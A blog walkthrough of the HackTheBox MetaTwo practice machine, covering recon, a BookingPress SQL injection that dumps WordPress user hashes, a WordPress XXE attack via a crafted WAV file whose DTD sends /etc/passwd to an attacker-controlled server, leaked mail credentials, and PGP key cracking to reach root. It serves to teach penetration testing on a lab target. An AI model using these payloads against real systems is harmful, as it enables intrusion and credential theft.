Under The Leaves

HackTheBox - MetaTwo

HackTheBox - MetaTwo

Machine Walkthrough

Daniyar's photo
Daniyar
·

5 min read

Table of contents

Enumeration

I will begin by scanning the host for any open ports. Usually, it’s done by Nmap or masscan, but I will use threader3000(clickable link)

It just scans ports very fast, and then puts open ports to Nmap detailed scan(-sC for default scripts and -sV to enumerate versions)

Detailed Nmap Scan:

PORT   STATE SERVICE VERSION
21/tcp open  ftp?
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 c4:b4:46:17:d2:10:2d:8f:ec:1d:c9:27:fe:cd:79:ee (RSA)
|   256 2a:ea:2f:cb:23:e8:c5:29:40:9c:ab:86:6d:cd:44:11 (ECDSA)
|_  256 fd:78:c0:b0:e2:20:16:fa:05:0d:eb:d8:3f:12:a4:ab (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: Did not follow redirect to <http://metapress.htb/>
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We see 3 ports open, priority is gonna be port 80

Enumerating HTTP Server:

Looking at the web server root, we get redirected to metapress.htb

So, we need to add it to /etc/hosts (IP and metapress.htb)

# Static table lookup for hostnames.
# See hosts(5) for details.
127.0.0.1       localhost
::1             localhost
127.0.1.1       archlinux.localdomain   archlinux
#THM

#HTB
10.129.233.203(YOUR MACHINE IP)  metapress.htb

Robots.txt:

User-agent: *
Disallow: /wp-admin/
Allow: /wp-admin/admin-ajax.php

Sitemap: <http://metapress.htb/wp-sitemap.xml>

Now we talking. I always like to do recon on the background, so we will run gobuster to get files and directories, scan for vhosts

gobuster dir -u <http://metapress.htb/> -w /opt/SecLists/Discovery/Web-Content/raft-small-words.txt -x php -o gobuster.out

  • dir for directory mode

  • -u for URL

  • -w for wordlist(i use seclists)

  • -x php for the php file extension (used wappalyzer to get prog. language)

  • -o to save the output into a file

gobuster.out:

/login                (Status: 302) [Size: 0] [--> <http://metapress.htb/wp-login.php>]                                                                                                        
/admin                (Status: 302) [Size: 0] [--> <http://metapress.htb/wp-admin/>]                                                                                                           
/wp-admin             (Status: 301) [Size: 169] [--> <http://metapress.htb/wp-admin/>]                                                                                                         
/wp-includes          (Status: 301) [Size: 169] [--> <http://metapress.htb/wp-includes/>]                                                                                                      
/wp-content           (Status: 301) [Size: 169] [--> <http://metapress.htb/wp-content/>]                                                                                                       
/index.php            (Status: 301) [Size: 0] [--> <http://metapress.htb/>]                                                                                                                    
/xmlrpc.php           (Status: 405) [Size: 42]                                                
/feed                 (Status: 301) [Size: 0] [--> <http://metapress.htb/feed/>]                                                                                                               
/rss                  (Status: 301) [Size: 0] [--> <http://metapress.htb/feed/>]
/wp-login.php         (Status: 200) [Size: 6931]
/about                (Status: 301) [Size: 0] [--> <http://metapress.htb/about-us/>]
...

gobuster vhost -u <http://metapress.htb/> -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt

  • vhost mode to scan for virtual hosts

  • -u for URL

  • -w for wordlist

As we see from the directory scan results, this is a WordPress CMS. So I ran wpscan in the background:

wpscan --url <http://metapress.htb> -e ap -o wpscan-out

  • -e ap to enumerate all plugins

  • -o for the output file

Did not find any interesting things.

Looking at the web pages, we see a search bar

The request:

GET /?s=test HTTP/1.1
Host: metapress.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: <http://metapress.htb/about-us/>
Connection: close
Cookie: PHPSESSID=fu34hek43i85tk3v1pj032kppf; wordpress_test_cookie=WP%20Cookie%20check
Upgrade-Insecure-Requests: 1

Tried to put the request into sqlmap, but nothing was injectable.

Exploiting:

Looking at /events URL, we can see this:

Let's intercept this request!

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: metapress.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: application/json, text/plain, */*
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 1033
Origin: <http://metapress.htb>
Connection: close
Referer: <http://metapress.htb/events/>
Cookie: PHPSESSID=fu34hek43i85tk3v1pj032kppf; wordpress_test_cookie=WP%20Cookie%20check

action=bookingpress_front_save_appointment_booking&appointment_data%5Bselected_category%5D=1&appointment_data%5Bselected_cat_name%5D=&appointment_data%5Bselected_service%5D=1&appointment_data%5Bselected_service_name%5D=Startup%20meeting&appointment_data%5Bselected_service_price%5D=%240.00&appointment_data%5Bservice_price_without_currency%5D=0&appointment_data%5Bselected_date%5D=2022-10-31&appointment_data%5Bselected_start_time%5D=11%3A00&appointment_data%5Bselected_end_time%5D=11%3A30&appointment_data%5Bcustomer_name%5D=&appointment_data%5Bcustomer_firstname%5D=adsad&appointment_data%5Bcustomer_lastname%5D=asdasdds&appointment_data%5Bcustomer_phone%5D=12321312313213&appointment_data%5Bcustomer_email%5D=asdasdasd%40sdgsdg.con&appointment_data%5Bappointment_note%5D=1231231313213131313&appointment_data%5Bselected_payment_method%5D=&appointment_data%5Bcustomer_phone_country%5D=US&appointment_data%5Btotal_services%5D=&appointment_data%5Bstime%5D=1667087527&appointment_data%5Bspam_captcha%5D=MjeW9vKuI0wx&_wpnonce=5a815c3989

Now, if we google “bookingpress exploits” we can find this.

The point of this vulnerability is SQL Injection via bookingpress_front_get_category_services AJAX action, so, we can grab our real wpnonce and paste it into this payload:

curl -i '<http://metapress.htb/wp-admin/admin-ajax.php>' \\
  --data 'action=bookingpress_front_get_category_services&_wpnonce={YOUR WPONCE}&category_id=33&total_service=-7502) UNION ALL SELECT group_concat(user_login),group_concat(user_pass),@@version_compile_os,1,2,3,4,5,6 from wp_users-- -'

And we get a callback! We got our creds! (I already cracked the password with hashcat)

admin:$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.
manager:$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70:partylikearockstar

Now, let’s log in to WordPress!!!

I mean it just asks to Google “WordPress 5.6.2 exploits”, and it is! Here is PoC: https://github.com/motikan2010/CVE-2021-29447

Getting user.txt:

First things first, we need to create a payload file

echo -en 'RIFF\\xb8\\x00\\x00\\x00WAVEiXML\\x7b\\x00\\x00\\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://{IP}:8001/evil.dtd'"'"'>%remote;%init;%trick;] >\\x00'> malicious.wav

This is gonna create a malicious.wav payload with .wav magic bytes, don’t forget to change your IP and port!

Now set up a PHP server by:

php -S 0.0.0.0:8001

And the last thing, make dtd file(for me it's gonna be evil.dtd)

<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM '<http://YOURSERVERIP>:PORT/?p=%file;'>" >

This payload will get /etc/passwd file

Now, let’s upload malicious.wav!

Nice! We get a callback! (Note, it’s not a regular base64, to exfiltrate data effectively we've used Zlib for encoding)

Decode Goods:

<?php echo zlib_decode(base64_decode('base64here')); ?>

This is what I like to see!

So we got a valid user(jnelson), let’s try to steal his ssh keys!

Unfortunately, there are no ssh keys for us, let’s get wp-config

Getting configs:

The default nginx config is /etc/nginx/sites-enabled/default, so let’s get it

This is exactly what we need, /var/www/metapress.htb/blog/wp-config.php comin’ in!

Got the creds, logging in. (Don’t forget to add ftp.metapress.htb to /etc/hosts!)

File contents:

...
$mail->Host = "mail.metapress.htb";
$mail->SMTPAuth = true;                          
$mail->Username = "jnelson@metapress.htb";                 
$mail->Password = "Cb4_JmWM8zUZWMu@Ys";                           
$mail->SMTPSecure = "tls";                           
$mail->Port = 587;
...

Logged via ssh! And we got our user.txt

Privilege Escalation

After running linpeas.sh, it found an interesting file:

And the keys to it:

Searching in Google, we have found that passpie is a CLI password manager

The keys are looking kinda dirty, we need to clean it!

tail -n -$(awk '/BEGIN PGP PRIVATE/{ print NR+2; exit}' ~/.passpie/.keys) ~/.passpie/.keys >  private.key

Now, we need to crack the PGP passphrase

  • Move files to your attack machine via python web server and wget

  • use gpg2john to get the hash

  • use JohnTheRipper to crack it

john --wordlist=/opt/wordlists/rockyou.txt hash

Now, let’s just use it!

passpie export ~/test.txt

Then, just su and type the password

Here you go, you are root! That is for today, Happy hacking!

#HackTheBoxWeb Exploitation#sqlinjection